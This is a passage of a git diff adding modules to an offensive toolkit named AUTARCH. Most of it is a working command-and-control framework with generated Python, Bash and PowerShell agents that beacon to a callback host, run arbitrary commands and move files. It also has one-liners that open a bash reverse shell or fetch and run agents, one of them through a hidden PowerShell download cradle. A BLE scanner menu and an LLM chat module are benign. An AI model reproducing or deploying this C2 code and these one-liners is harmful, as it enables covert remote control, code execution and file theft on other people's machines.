+ 'count': data.get('count', 0)
+ })
+ except Exception:
+ pass
+ return scans
+
+ def get_devices(self) -> List[Dict]:
+ """Get all discovered devices."""
+ return list(self.devices.values())
+
+
+# ── Singleton ────────────────────────────────────────────────────────────────
+
+_instance = None
+
+def get_ble_scanner() -> BLEScanner:
+ global _instance
+ if _instance is None:
+ _instance = BLEScanner()
+ return _instance
+
+
+# ── CLI Interface ────────────────────────────────────────────────────────────
+
+def run():
+ """CLI entry point for BLE Scanner module."""
+ scanner = get_ble_scanner()
+
+ while True:
+ status = scanner.get_status()
+ print(f"\n{'='*60}")
+ print(f" BLE Scanner (bleak: {'OK' if status['available'] else 'MISSING'})")
+ print(f"{'='*60}")
+ print(f" Devices found: {status['devices_found']}")
+ print()
+ print(" 1 — Scan for Devices")
+ print(" 2 — View Devices")
+ print(" 3 — Device Detail (connect)")
+ print(" 4 — Vulnerability Scan")
+ print(" 5 — Track Device (proximity)")
+ print(" 6 — Save Scan")
+ print(" 7 — List Saved Scans")
+ print(" 0 — Back")
+ print()
+
+ choice = input(" > ").strip()
+
+ if choice == '0':
+ break
+ elif choice == '1':
+ dur = input(" Scan duration (seconds, default 10): ").strip()
+ result = scanner.scan(float(dur) if dur else 10.0)
+ if result['ok']:
+ print(f" Found {result['count']} devices:")
+ for dev in result['devices']:
+ print(f" {dev['address']} {dev.get('name', '?'):<20} "
+ f"RSSI={dev['rssi']} {dev['device_type']} ({dev['manufacturer']})")
+ else:
+ print(f" Error: {result['error']}")
+ elif choice == '2':
+ devices = scanner.get_devices()
+ for dev in devices:
+ print(f" {dev['address']} {dev.get('name', '?'):<20} "
+ f"RSSI={dev['rssi']} {dev['device_type']}")
+ elif choice == '3':
+ addr = input(" Device address: ").strip()
+ if addr:
+ result = scanner.get_device_detail(addr)
+ if result['ok']:
+ print(f" Services: {result['service_count']} Characteristics: {result['char_count']}")
+ for svc in result['services']:
+ print(f" [{svc['name']}]")
+ for ch in svc['characteristics']:
+ val = ch.get('value_text', ch.get('value', ''))
+ print(f" {ch['description']} props={ch['properties']} val={val}")
+ else:
+ print(f" Error: {result['error']}")
+ elif choice == '4':
+ addr = input(" Device address (blank=general): ").strip() or None
+ result = scanner.vuln_scan(addr)
+ for v in result['vulnerabilities']:
+ print(f" [{v['severity']:<8}] {v['name']}: {v['description'][:60]}")
+ elif choice == '5':
+ addr = input(" Device address: ").strip()
+ if addr:
+ result = scanner.track_device(addr)
+ if result['ok']:
+ c = result['current']
+ print(f" RSSI: {c['rssi']} Distance: ~{c['estimated_distance_m']}m")
+ else:
+ print(f" Error: {result['error']}")
+ elif choice == '6':
+ name = input(" Scan name (blank=auto): ").strip() or None
+ result = scanner.save_scan(name)
+ print(f" Saved {result['count']} devices")
+ elif choice == '7':
+ for s in scanner.list_scans():
+ print(f" {s['name']} ({s['count']} devices) {s['timestamp']}")
diff --git a/modules/c2_framework.py b/modules/c2_framework.py
new file mode 100644
index 0000000..4a2e696
--- /dev/null
+++ b/modules/c2_framework.py
@@ -0,0 +1,610 @@
+"""AUTARCH C2 Framework
+
+Multi-session command & control framework with agent generation,
+listener management, task queuing, and file transfer.
+"""
+
+DESCRIPTION = "Command & Control framework"
+AUTHOR = "darkHal"
+VERSION = "1.0"
+CATEGORY = "offense"
+
+import os
+import re
+import json
+import time
+import socket
+import base64
+import secrets
+import threading
+import struct
+from pathlib import Path
+from datetime import datetime, timezone
+from typing import Dict, List, Optional, Any
+from dataclasses import dataclass, field
+
+try:
+ from core.paths import get_data_dir
+except ImportError:
+ def get_data_dir():
+ return str(Path(__file__).parent.parent / 'data')
+
+
+# ── Agent Templates ───────────────────────────────────────────────────────────
+
+PYTHON_AGENT_TEMPLATE = '''#!/usr/bin/env python3
+"""AUTARCH C2 Agent — auto-generated."""
+import os,sys,time,socket,subprocess,json,base64,platform,random
+C2_HOST="{host}"
+C2_PORT={port}
+BEACON_INTERVAL={interval}
+JITTER={jitter}
+AGENT_ID="{agent_id}"
+
+def beacon():
+ while True:
+ try:
+ s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+ s.settimeout(30)
+ s.connect((C2_HOST,C2_PORT))
+ # Register
+ info={{"id":AGENT_ID,"os":platform.system(),"hostname":socket.gethostname(),
+ "user":os.getenv("USER",os.getenv("USERNAME","unknown")),
+ "pid":os.getpid(),"arch":platform.machine()}}
+ s.send(json.dumps({{"type":"register","data":info}}).encode()+"\\n".encode())
+ while True:
+ data=s.recv(65536)
+ if not data:break
+ try:
+ cmd=json.loads(data.decode())
+ result=handle_cmd(cmd)
+ s.send(json.dumps(result).encode()+"\\n".encode())
+ except:pass
+ except:pass
+ finally:
+ try:s.close()
+ except:pass
+ jitter_delay=BEACON_INTERVAL+random.uniform(-JITTER,JITTER)
+ time.sleep(max(1,jitter_delay))
+
+def handle_cmd(cmd):
+ t=cmd.get("type","")
+ if t=="exec":
+ try:
+ r=subprocess.run(cmd["command"],shell=True,capture_output=True,text=True,timeout=60)
+ return{{"type":"result","task_id":cmd.get("task_id",""),"stdout":r.stdout[-4096:],"stderr":r.stderr[-2048:],"rc":r.returncode}}
+ except Exception as e:
+ return{{"type":"error","task_id":cmd.get("task_id",""),"error":str(e)}}
+ elif t=="download":
+ try:
+ with open(cmd["path"],"rb") as f:d=base64.b64encode(f.read()).decode()
+ return{{"type":"file","task_id":cmd.get("task_id",""),"name":os.path.basename(cmd["path"]),"data":d}}
+ except Exception as e:
+ return{{"type":"error","task_id":cmd.get("task_id",""),"error":str(e)}}
+ elif t=="upload":
+ try:
+ with open(cmd["path"],"wb") as f:f.write(base64.b64decode(cmd["data"]))
+ return{{"type":"result","task_id":cmd.get("task_id",""),"stdout":"Uploaded to "+cmd["path"]}}
+ except Exception as e:
+ return{{"type":"error","task_id":cmd.get("task_id",""),"error":str(e)}}
+ elif t=="sysinfo":
+ return{{"type":"result","task_id":cmd.get("task_id",""),
+ "stdout":json.dumps({{"os":platform.system(),"release":platform.release(),
+ "hostname":socket.gethostname(),"user":os.getenv("USER",os.getenv("USERNAME","")),
+ "pid":os.getpid(),"cwd":os.getcwd(),"arch":platform.machine()}})}}
+ elif t=="exit":
+ sys.exit(0)
+ return{{"type":"error","task_id":cmd.get("task_id",""),"error":"Unknown command"}}
+
+if __name__=="__main__":beacon()
+'''
+
+BASH_AGENT_TEMPLATE = '''#!/bin/bash
+# AUTARCH C2 Agent — auto-generated
+C2_HOST="{host}"
+C2_PORT={port}
+INTERVAL={interval}
+AGENT_ID="{agent_id}"
+while true; do
+ exec 3<>/dev/tcp/$C2_HOST/$C2_PORT 2>/dev/null
+ if [ $? -eq 0 ]; then
+ echo '{{"type":"register","data":{{"id":"'$AGENT_ID'","os":"'$(uname -s)'","hostname":"'$(hostname)'","user":"'$(whoami)'","pid":'$$'}}}}' >&3
+ while read -r line <&3; do
+ CMD=$(echo "$line" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d.get('command',''))" 2>/dev/null)
+ TID=$(echo "$line" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d.get('task_id',''))" 2>/dev/null)
+ if [ -n "$CMD" ]; then
+ OUTPUT=$(eval "$CMD" 2>&1 | head -c 4096)
+ echo '{{"type":"result","task_id":"'$TID'","stdout":"'$(echo "$OUTPUT" | base64 -w0)'"}}' >&3
+ fi
+ done
+ exec 3>&-
+ fi
+ sleep $INTERVAL
+done
+'''
+
+POWERSHELL_AGENT_TEMPLATE = '''# AUTARCH C2 Agent — auto-generated
+$C2Host="{host}"
+$C2Port={port}
+$Interval={interval}
+$AgentId="{agent_id}"
+while($true){{
+ try{{
+ $c=New-Object System.Net.Sockets.TcpClient($C2Host,$C2Port)
+ $s=$c.GetStream()
+ $w=New-Object System.IO.StreamWriter($s)
+ $r=New-Object System.IO.StreamReader($s)
+ $info=@{{type="register";data=@{{id=$AgentId;os="Windows";hostname=$env:COMPUTERNAME;user=$env:USERNAME;pid=$PID}}}}|ConvertTo-Json -Compress
+ $w.WriteLine($info);$w.Flush()
+ while($c.Connected){{
+ $line=$r.ReadLine()
+ if($line){{
+ $cmd=$line|ConvertFrom-Json
+ if($cmd.type -eq "exec"){{
+ try{{$out=Invoke-Expression $cmd.command 2>&1|Out-String
+ $resp=@{{type="result";task_id=$cmd.task_id;stdout=$out.Substring(0,[Math]::Min($out.Length,4096))}}|ConvertTo-Json -Compress
+ }}catch{{$resp=@{{type="error";task_id=$cmd.task_id;error=$_.Exception.Message}}|ConvertTo-Json -Compress}}
+ $w.WriteLine($resp);$w.Flush()
+ }}
+ }}
+ }}
+ }}catch{{}}
+ Start-Sleep -Seconds $Interval
+}}
+'''
+
+
+# ── C2 Server ─────────────────────────────────────────────────────────────────
+
+@dataclass
+class Agent:
+ id: str
+ os: str = ''
+ hostname: str = ''
+ user: str = ''
+ pid: int = 0
+ arch: str = ''
+ remote_addr: str = ''
+ first_seen: str = ''
+ last_seen: str = ''
+ status: str = 'active' # active, stale, dead
+
+
+@dataclass
+class Task:
+ id: str
+ agent_id: str
+ type: str
+ data: dict = field(default_factory=dict)
+ status: str = 'pending' # pending, sent, completed, failed
+ result: Optional[dict] = None
+ created_at: str = ''
+ completed_at: str = ''
+
+
+class C2Server:
+ """Multi-session C2 server with agent management."""
+
+ def __init__(self):
+ self._data_dir = os.path.join(get_data_dir(), 'c2')
+ os.makedirs(self._data_dir, exist_ok=True)
+ self._agents: Dict[str, Agent] = {}
+ self._tasks: Dict[str, Task] = {}
+ self._agent_tasks: Dict[str, list] = {} # agent_id -> [task_ids]
+ self._agent_sockets: Dict[str, socket.socket] = {}
+ self._listeners: Dict[str, dict] = {}
+ self._listener_threads: Dict[str, threading.Thread] = {}
+ self._stop_events: Dict[str, threading.Event] = {}
+
+ # ── Listener Management ───────────────────────────────────────────────
+
+ def start_listener(self, name: str, host: str = '0.0.0.0',
+ port: int = 4444, protocol: str = 'tcp') -> dict:
+ """Start a C2 listener."""
+ if name in self._listeners:
+ return {'ok': False, 'error': f'Listener "{name}" already exists'}
+
+ stop_event = threading.Event()
+ self._stop_events[name] = stop_event
+
+ listener_info = {
+ 'name': name, 'host': host, 'port': port, 'protocol': protocol,
+ 'started_at': datetime.now(timezone.utc).isoformat(),
+ 'connections': 0,
+ }
+ self._listeners[name] = listener_info
+
+ def accept_loop():
+ try:
+ srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+ srv.settimeout(2.0)
+ srv.bind((host, port))
+ srv.listen(20)
+ listener_info['socket'] = srv
+
+ while not stop_event.is_set():
+ try:
+ conn, addr = srv.accept()
+ listener_info['connections'] += 1
+ threading.Thread(target=self._handle_agent,
+ args=(conn, addr, name),
+ daemon=True).start()
+ except socket.timeout:
+ continue
+ except Exception:
+ break
+ except Exception as e:
+ listener_info['error'] = str(e)
+ finally:
+ try:
+ srv.close()
+ except Exception:
+ pass
+
+ t = threading.Thread(target=accept_loop, daemon=True)
+ t.start()
+ self._listener_threads[name] = t
+
+ return {'ok': True, 'message': f'Listener "{name}" started on {host}:{port}'}
+
+ def stop_listener(self, name: str) -> dict:
+ """Stop a C2 listener."""
+ if name not in self._listeners:
+ return {'ok': False, 'error': 'Listener not found'}
+ stop_event = self._stop_events.pop(name, None)
+ if stop_event:
+ stop_event.set()
+ listener = self._listeners.pop(name, {})
+ sock = listener.get('socket')
+ if sock:
+ try:
+ sock.close()
+ except Exception:
+ pass
+ self._listener_threads.pop(name, None)
+ return {'ok': True, 'message': f'Listener "{name}" stopped'}
+
+ def list_listeners(self) -> List[dict]:
+ return [{k: v for k, v in l.items() if k != 'socket'}
+ for l in self._listeners.values()]
+
+ def _handle_agent(self, conn: socket.socket, addr: tuple, listener: str):
+ """Handle incoming agent connection."""
+ conn.settimeout(300) # 5 min timeout
+ try:
+ data = conn.recv(65536)
+ if not data:
+ return
+ msg = json.loads(data.decode().strip())
+ if msg.get('type') != 'register':
+ conn.close()
+ return
+
+ info = msg.get('data', {})
+ agent_id = info.get('id', secrets.token_hex(4))
+
+ agent = Agent(
+ id=agent_id,
+ os=info.get('os', ''),
+ hostname=info.get('hostname', ''),
+ user=info.get('user', ''),
+ pid=info.get('pid', 0),
+ arch=info.get('arch', ''),
+ remote_addr=f'{addr[0]}:{addr[1]}',
+ first_seen=datetime.now(timezone.utc).isoformat(),
+ last_seen=datetime.now(timezone.utc).isoformat(),
+ )
+
+ self._agents[agent_id] = agent
+ self._agent_sockets[agent_id] = conn
+ if agent_id not in self._agent_tasks:
+ self._agent_tasks[agent_id] = []
+
+ # Process pending tasks for this agent
+ while True:
+ pending = [t for t in self._get_pending_tasks(agent_id)]
+ if not pending:
+ time.sleep(1)
+ # Check if still connected
+ try:
+ conn.send(b'')
+ except Exception:
+ break
+ agent.last_seen = datetime.now(timezone.utc).isoformat()
+ continue
+
+ for task in pending:
+ try:
+ cmd = {'type': task.type, 'task_id': task.id, **task.data}
+ conn.send(json.dumps(cmd).encode() + b'\n')
+ task.status = 'sent'
+
+ # Wait for result
+ conn.settimeout(60)
+ result_data = conn.recv(65536)
+ if result_data:
+ result = json.loads(result_data.decode().strip())
+ task.result = result
+ task.status = 'completed'
+ task.completed_at = datetime.now(timezone.utc).isoformat()
+ else:
+ task.status = 'failed'
+ except Exception as e:
+ task.status = 'failed'
+ task.result = {'error': str(e)}
+
+ agent.last_seen = datetime.now(timezone.utc).isoformat()
+
+ except Exception:
+ pass
+ finally:
+ conn.close()
+ # Mark agent as stale if no longer connected
+ for aid, sock in list(self._agent_sockets.items()):
+ if sock is conn:
+ self._agent_sockets.pop(aid, None)
+ if aid in self._agents:
+ self._agents[aid].status = 'stale'
+
+ def _get_pending_tasks(self, agent_id: str) -> List[Task]:
+ task_ids = self._agent_tasks.get(agent_id, [])
+ return [self._tasks[tid] for tid in task_ids
+ if tid in self._tasks and self._tasks[tid].status == 'pending']
+
+ # ── Agent Management ──────────────────────────────────────────────────
+
+ def list_agents(self) -> List[dict]:
+ agents = []
+ for a in self._agents.values():
+ # Check if still connected
+ connected = a.id in self._agent_sockets
+ agents.append({
+ 'id': a.id, 'os': a.os, 'hostname': a.hostname,
+ 'user': a.user, 'pid': a.pid, 'arch': a.arch,
+ 'remote_addr': a.remote_addr,
+ 'first_seen': a.first_seen, 'last_seen': a.last_seen,
+ 'status': 'active' if connected else a.status,
+ })
+ return agents
+
+ def remove_agent(self, agent_id: str) -> dict:
+ if agent_id in self._agent_sockets:
+ try:
+ self._agent_sockets[agent_id].close()
+ except Exception:
+ pass
+ del self._agent_sockets[agent_id]
+ self._agents.pop(agent_id, None)
+ self._agent_tasks.pop(agent_id, None)
+ return {'ok': True}
+
+ # ── Task Queue ────────────────────────────────────────────────────────
+
+ def queue_task(self, agent_id: str, task_type: str,
+ data: dict = None) -> dict:
+ """Queue a task for an agent."""
+ if agent_id not in self._agents:
+ return {'ok': False, 'error': 'Agent not found'}
+
+ task_id = secrets.token_hex(4)
+ task = Task(
+ id=task_id,
+ agent_id=agent_id,
+ type=task_type,
+ data=data or {},
+ created_at=datetime.now(timezone.utc).isoformat(),
+ )
+ self._tasks[task_id] = task
+ if agent_id not in self._agent_tasks:
+ self._agent_tasks[agent_id] = []
+ self._agent_tasks[agent_id].append(task_id)
+
+ return {'ok': True, 'task_id': task_id}
+
+ def execute_command(self, agent_id: str, command: str) -> dict:
+ """Shortcut to queue an exec task."""
+ return self.queue_task(agent_id, 'exec', {'command': command})
+
+ def download_file(self, agent_id: str, remote_path: str) -> dict:
+ return self.queue_task(agent_id, 'download', {'path': remote_path})
+
+ def upload_file(self, agent_id: str, remote_path: str,
+ file_data: bytes) -> dict:
+ encoded = base64.b64encode(file_data).decode()
+ return self.queue_task(agent_id, 'upload',
+ {'path': remote_path, 'data': encoded})
+
+ def get_task_result(self, task_id: str) -> dict:
+ task = self._tasks.get(task_id)
+ if not task:
+ return {'ok': False, 'error': 'Task not found'}
+ return {
+ 'ok': True,
+ 'task_id': task.id,
+ 'status': task.status,
+ 'result': task.result,
+ 'created_at': task.created_at,
+ 'completed_at': task.completed_at,
+ }
+
+ def list_tasks(self, agent_id: str = '') -> List[dict]:
+ tasks = []
+ for t in self._tasks.values():
+ if agent_id and t.agent_id != agent_id:
+ continue
+ tasks.append({
+ 'id': t.id, 'agent_id': t.agent_id, 'type': t.type,
+ 'status': t.status, 'created_at': t.created_at,
+ 'completed_at': t.completed_at,
+ 'has_result': t.result is not None,
+ })
+ return tasks
+
+ # ── Agent Generation ──────────────────────────────────────────────────
+
+ def generate_agent(self, host: str, port: int = 4444,
+ agent_type: str = 'python',
+ interval: int = 5, jitter: int = 2) -> dict:
+ """Generate a C2 agent payload."""
+ agent_id = secrets.token_hex(4)
+
+ if agent_type == 'python':
+ code = PYTHON_AGENT_TEMPLATE.format(
+ host=host, port=port, interval=interval,
+ jitter=jitter, agent_id=agent_id)
+ elif agent_type == 'bash':
+ code = BASH_AGENT_TEMPLATE.format(
+ host=host, port=port, interval=interval,
+ agent_id=agent_id)
+ elif agent_type == 'powershell':
+ code = POWERSHELL_AGENT_TEMPLATE.format(
+ host=host, port=port, interval=interval,
+ agent_id=agent_id)
+ else:
+ return {'ok': False, 'error': f'Unknown agent type: {agent_type}'}
+
+ # Save to file
+ ext = {'python': 'py', 'bash': 'sh', 'powershell': 'ps1'}[agent_type]
+ filename = f'agent_{agent_id}.{ext}'
+ filepath = os.path.join(self._data_dir, filename)
+ with open(filepath, 'w') as f:
+ f.write(code)
+
+ return {
+ 'ok': True,
+ 'agent_id': agent_id,
+ 'filename': filename,
+ 'filepath': filepath,
+ 'code': code,
+ 'type': agent_type,
+ }
+
+ # ── One-liners ────────────────────────────────────────────────────────
+
+ def get_oneliner(self, host: str, port: int = 4444,
+ agent_type: str = 'python') -> dict:
+ """Generate a one-liner to deploy the agent."""
+ if agent_type == 'python':
+ liner = (f"python3 -c \"import urllib.request,os,tempfile;"
+ f"f=tempfile.NamedTemporaryFile(suffix='.py',delete=False);"
+ f"f.write(urllib.request.urlopen('http://{host}:{port+1}/agent.py').read());"
+ f"f.close();os.system('python3 '+f.name+' &')\"")
+ elif agent_type == 'bash':
+ liner = f"bash -c 'bash -i >& /dev/tcp/{host}/{port} 0>&1 &'"
+ elif agent_type == 'powershell':
+ liner = (f"powershell -nop -w hidden -c "
+ f"\"IEX(New-Object Net.WebClient).DownloadString"
+ f"('http://{host}:{port+1}/agent.ps1')\"")
+ else:
+ return {'ok': False, 'error': 'Unknown type'}
+
+ return {'ok': True, 'oneliner': liner, 'type': agent_type}
+
+
+# ── Singleton ─────────────────────────────────────────────────────────────────
+
+_instance = None
+_lock = threading.Lock()
+
+
+def get_c2_server() -> C2Server:
+ global _instance
+ if _instance is None:
+ with _lock:
+ if _instance is None:
+ _instance = C2Server()
+ return _instance
+
+
+# ── CLI ───────────────────────────────────────────────────────────────────────
+
+def run():
+ """Interactive CLI for C2 Framework."""
+ svc = get_c2_server()
+
+ while True:
+ print("\n╔═══════════════════════════════════════╗")
+ print("║ C2 FRAMEWORK ║")
+ print("╠═══════════════════════════════════════╣")
+ print("║ 1 — Start Listener ║")
+ print("║ 2 — Stop Listener ║")
+ print("║ 3 — List Agents ║")
+ print("║ 4 — Interact with Agent ║")
+ print("║ 5 — Generate Agent Payload ║")
+ print("║ 6 — Get One-Liner ║")
+ print("║ 0 — Back ║")
+ print("╚═══════════════════════════════════════╝")
+
+ choice = input("\n Select: ").strip()
+
+ if choice == '0':
+ break
+ elif choice == '1':
+ name = input(" Listener name: ").strip() or 'default'
+ port = int(input(" Port (4444): ").strip() or '4444')
+ r = svc.start_listener(name, port=port)
+ print(f" {r.get('message', r.get('error', ''))}")
+ elif choice == '2':
+ listeners = svc.list_listeners()
+ if not listeners:
+ print(" No listeners.")
+ continue
+ for l in listeners:
+ print(f" {l['name']} — {l['host']}:{l['port']} ({l['connections']} connections)")
+ name = input(" Stop which: ").strip()
+ if name:
+ r = svc.stop_listener(name)
+ print(f" {r.get('message', r.get('error', ''))}")
+ elif choice == '3':
+ agents = svc.list_agents()
+ if not agents:
+ print(" No agents.")
+ continue
+ for a in agents:
+ print(f" [{a['status']:6s}] {a['id']} — {a['user']}@{a['hostname']} "
+ f"({a['os']}) from {a['remote_addr']}")
+ elif choice == '4':
+ aid = input(" Agent ID: ").strip()
+ if not aid:
+ continue
+ print(f" Interacting with {aid} (type 'exit' to return)")
+ while True:
+ cmd = input(f" [{aid}]> ").strip()
+ if cmd in ('exit', 'quit', ''):
+ break
+ r = svc.execute_command(aid, cmd)
+ if not r.get('ok'):
+ print(f" Error: {r.get('error')}")
+ continue
+ # Poll for result
+ for _ in range(30):
+ time.sleep(1)
+ result = svc.get_task_result(r['task_id'])
+ if result.get('status') in ('completed', 'failed'):
+ if result.get('result'):
+ out = result['result'].get('stdout', '')
+ err = result['result'].get('stderr', '')
+ if out:
+ print(out)
+ if err:
+ print(f" [stderr] {err}")
+ break
+ else:
+ print(" [timeout] No response within 30s")
+ elif choice == '5':
+ host = input(" Callback host: ").strip()
+ port = int(input(" Callback port (4444): ").strip() or '4444')
+ atype = input(" Type (python/bash/powershell): ").strip() or 'python'
+ r = svc.generate_agent(host, port, atype)
+ if r.get('ok'):
+ print(f" Agent saved to: {r['filepath']}")
+ else:
+ print(f" Error: {r.get('error')}")
+ elif choice == '6':
+ host = input(" Host: ").strip()
+ port = int(input(" Port (4444): ").strip() or '4444')
+ atype = input(" Type (python/bash/powershell): ").strip() or 'python'
+ r = svc.get_oneliner(host, port, atype)
+ if r.get('ok'):
+ print(f"\n {r['oneliner']}\n")
diff --git a/modules/chat.py b/modules/chat.py
new file mode 100644
index 0000000..1745d45
--- /dev/null
+++ b/modules/chat.py
@@ -0,0 +1,270 @@
+"""
+AUTARCH Chat Module
+Interactive chat interface for the LLM
+
+This module provides a command-line chat interface to interact with the loaded model.
+"""
+
+import sys
+from pathlib import Path
+
+# Module metadata
+DESCRIPTION = "Interactive chat with the LLM"
+AUTHOR = "darkHal"
+VERSION = "1.0"
+CATEGORY = "core"
+
+# Add parent directory to path
+sys.path.insert(0, str(Path(__file__).parent.parent))
+
+from core.llm import get_llm, LLMError
+from core.banner import Colors, clear_screen, display_banner
+
+
+class ChatInterface:
+ """Interactive chat interface for AUTARCH LLM."""
+
+ COMMANDS = {
+ '/help': 'Show available commands',
+ '/clear': 'Clear conversation history',
+ '/history': 'Show conversation history',
+ '/info': 'Show model information',
+ '/system': 'Set system prompt (e.g., /system You are a helpful assistant)',
+ '/temp': 'Set temperature (e.g., /temp 0.8)',
+ '/tokens': 'Set max tokens (e.g., /tokens 1024)',
+ '/stream': 'Toggle streaming mode',
+ '/exit': 'Exit chat',
+ }
+
+ def __init__(self):
+ self.llm = get_llm()
+ self.system_prompt = "You are AUTARCH, an AI assistant created by darkHal and Setec Security Labs. You are helpful, knowledgeable, and direct in your responses."
+ self.streaming = True
+ self.temp_override = None
+ self.tokens_override = None
+
+ def print_status(self, message: str, status: str = "info"):
+ """Print a status message."""
+ colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED}
+ symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
+ print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}")
+
+ def print_help(self):
+ """Display available commands."""
+ print(f"\n{Colors.BOLD}{Colors.WHITE}Available Commands:{Colors.RESET}")
+ print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}")
+ for cmd, desc in self.COMMANDS.items():
+ print(f" {Colors.CYAN}{cmd:12}{Colors.RESET} {desc}")
+ print()
+
+ def print_history(self):
+ """Display conversation history."""
+ history = self.llm.get_history()
+ if not history:
+ self.print_status("No conversation history", "info")
+ return
+
+ print(f"\n{Colors.BOLD}{Colors.WHITE}Conversation History:{Colors.RESET}")
+ print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}")
+
+ for msg in history:
+ role = msg['role']
+ content = msg['content']
+
+ if role == 'system':
+ print(f"\n{Colors.MAGENTA}[System]{Colors.RESET}")
+ print(f" {Colors.DIM}{content[:100]}...{Colors.RESET}" if len(content) > 100 else f" {Colors.DIM}{content}{Colors.RESET}")
+ elif role == 'user':
+ print(f"\n{Colors.GREEN}[You]{Colors.RESET}")
+ print(f" {content}")
+ elif role == 'assistant':
+ print(f"\n{Colors.CYAN}[AUTARCH]{Colors.RESET}")
+ # Truncate long responses in history view
+ if len(content) > 200:
+ print(f" {content[:200]}...")
+ else:
+ print(f" {content}")
+ print()
+
+ def print_model_info(self):
+ """Display model information."""
+ info = self.llm.get_model_info()
+
+ print(f"\n{Colors.BOLD}{Colors.WHITE}Model Information:{Colors.RESET}")
+ print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}")
+
+ if info['loaded']:
+ print(f" {Colors.CYAN}Model:{Colors.RESET} {info['model_name']}")
+ print(f" {Colors.CYAN}Context Size:{Colors.RESET} {info['n_ctx']}")
+ print(f" {Colors.CYAN}Vocabulary:{Colors.RESET} {info['n_vocab']}")
+ print(f" {Colors.CYAN}Streaming:{Colors.RESET} {'Enabled' if self.streaming else 'Disabled'}")
+
+ if self.temp_override:
+ print(f" {Colors.CYAN}Temperature:{Colors.RESET} {self.temp_override} (override)")
+ if self.tokens_override:
+ print(f" {Colors.CYAN}Max Tokens:{Colors.RESET} {self.tokens_override} (override)")
+ else:
+ print(f" {Colors.YELLOW}No model loaded{Colors.RESET}")
+ print()
+
+ def handle_command(self, command: str) -> bool:
+ """Handle a chat command.
+
+ Args:
+ command: The command string.
+
+ Returns:
+ True if should continue chat, False if should exit.
+ """
+ parts = command.split(maxsplit=1)
+ cmd = parts[0].lower()
+ args = parts[1] if len(parts) > 1 else ""
+
+ if cmd == '/help':
+ self.print_help()
+
+ elif cmd == '/clear':
+ self.llm.clear_history()
+ self.print_status("Conversation history cleared", "success")
+
+ elif cmd == '/history':
+ self.print_history()
+
+ elif cmd == '/info':
+ self.print_model_info()
+
+ elif cmd == '/system':
+ if args:
+ self.system_prompt = args
+ self.llm.clear_history() # Clear history when changing system prompt
+ self.print_status(f"System prompt set: {args[:50]}...", "success")
+ else:
+ print(f" {Colors.CYAN}Current:{Colors.RESET} {self.system_prompt}")
+
+ elif cmd == '/temp':
+ if args:
+ try:
+ temp = float(args)
+ if 0.0 <= temp <= 2.0:
+ self.temp_override = temp
+ self.print_status(f"Temperature set to {temp}", "success")
+ else:
+ self.print_status("Temperature must be between 0.0 and 2.0", "error")
+ except ValueError:
+ self.print_status("Invalid temperature value", "error")
+ else:
+ self.print_status(f"Current temperature: {self.temp_override or 'default'}", "info")
+
+ elif cmd == '/tokens':
+ if args:
+ try:
+ tokens = int(args)
+ if tokens > 0:
+ self.tokens_override = tokens
+ self.print_status(f"Max tokens set to {tokens}", "success")
+ else:
+ self.print_status("Max tokens must be positive", "error")
+ except ValueError:
+ self.print_status("Invalid token value", "error")
+ else:
+ self.print_status(f"Current max tokens: {self.tokens_override or 'default'}", "info")
+
+ elif cmd == '/stream':
+ self.streaming = not self.streaming
+ self.print_status(f"Streaming {'enabled' if self.streaming else 'disabled'}", "success")
+
+ elif cmd in ['/exit', '/quit', '/q']:
+ return False
+
+ else:
+ self.print_status(f"Unknown command: {cmd}. Type /help for commands.", "warning")
+
+ return True
+
+ def chat_loop(self):
+ """Main chat loop."""
+ print(f"\n{Colors.GREEN}[+] Chat started. Type /help for commands, /exit to quit.{Colors.RESET}")
+ print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}\n")
+
+ while True:
+ try:
+ # Get user input
+ user_input = input(f"{Colors.GREEN}You:{Colors.RESET} ").strip()
+
+ if not user_input:
+ continue
+
+ # Handle commands
+ if user_input.startswith('/'):
+ if not self.handle_command(user_input):
+ break
+ continue
+
+ # Generate response
+ print(f"\n{Colors.CYAN}AUTARCH:{Colors.RESET} ", end="", flush=True)
+
+ kwargs = {}
+ if self.temp_override is not None:
+ kwargs['temperature'] = self.temp_override
+ if self.tokens_override is not None:
+ kwargs['max_tokens'] = self.tokens_override
+
+ try:
+ if self.streaming:
+ # Streaming response
+ for token in self.llm.chat(
+ user_input,
+ system_prompt=self.system_prompt,
+ stream=True,
+ **kwargs
+ ):
+ print(token, end="", flush=True)
+ print("\n")
+ else:
+ # Non-streaming response
+ response = self.llm.chat(
+ user_input,
+ system_prompt=self.system_prompt,
+ stream=False,
+ **kwargs
+ )
+ print(f"{response}\n")
+
+ except LLMError as e:
+ print()
+ self.print_status(f"Generation error: {e}", "error")
+
+ except (EOFError, KeyboardInterrupt):
+ print(f"\n\n{Colors.CYAN}Chat ended.{Colors.RESET}")
+ break
+
+ def run(self):
+ """Run the chat interface."""
+ clear_screen()
+ display_banner()
+
+ print(f"{Colors.BOLD}{Colors.WHITE} AUTARCH Chat Interface{Colors.RESET}")
+ print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}")
+
+ # Check if model is loaded
+ if not self.llm.is_loaded:
+ self.print_status("Loading model...", "info")
+ try:
+ self.llm.load_model(verbose=True)
+ except LLMError as e:
+ self.print_status(f"Failed to load model: {e}", "error")
+ self.print_status("Please run setup to configure a model.", "warning")
+ return
+
+ self.print_model_info()
+ self.chat_loop()
+
+
+def run():
+ """Module entry point."""
+ chat = ChatInterface()
+ chat.run()
+
+
+if __name__ == "__main__":
+ run()
diff --git a/modules/cloud_scan.py b/modules/cloud_scan.py
new file mode 100644
index 0000000..94398d1
--- /dev/null
+++ b/modules/cloud_scan.py
@@ -0,0 +1,448 @@
+"""AUTARCH Cloud Security Scanner
+
+AWS/Azure/GCP bucket enumeration, IAM misconfiguration detection, exposed
+service scanning, and cloud resource discovery.
+"""
+
+DESCRIPTION = "Cloud infrastructure security scanning"
